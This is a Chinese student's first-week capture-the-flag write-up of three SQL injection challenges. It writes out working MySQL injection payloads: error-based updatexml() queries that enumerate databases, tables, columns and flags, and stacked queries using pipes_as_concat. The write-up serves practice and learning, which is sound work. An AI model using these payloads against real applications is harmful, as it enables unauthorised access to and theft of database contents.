第一周
其实整体可能学习还不够,只是看了一些网上的教程视频,实操会有些困难,所以有蛮多时候会看下网上的wp。
一、[极客大挑战 2019]EasySQL 1
首先尝试1
正常的回显
尝试1‘
报错1’‘,存在字符型注入
在网上看到万能公式
尝试后输入这个就可以得到
二、[RCTF2015]EasySQL 1
注册admin,发现有账号
尝试注册admin"#,注册成功,登录后修改密码
登录admin
登录成功
然后注册123"||',更改密码
报错了,查询库名
注册用户名如下
123"||(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#
登录、修改密码
再重复,用户名如下
123"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1))#
即得到表名
再重复
123"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1))#
得到列名
查flag
123"||(updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1))#
没有得到
查别的表
123"||(updatexml(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1))#
查列名
123"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='real_flag_1s_here')),0x7e),1))#
不知道为什么,没有用
上网查到
123"||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),1))#
没输完整
反着再重复一遍
123"||(updatexml(1,concat('~',reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
就可以得到完整的flag
三、[SUCTF 2019]EasySQL 1
输1,回显
1‘,不显示
1;show databases;
1;show tables;
有flag
1;show columns from Flag;#
没有用,查看网上的wp,应该是要猜测后端
1;set sql_mode=pipes_as_concat;select 1
没太懂,先记着
确实成功了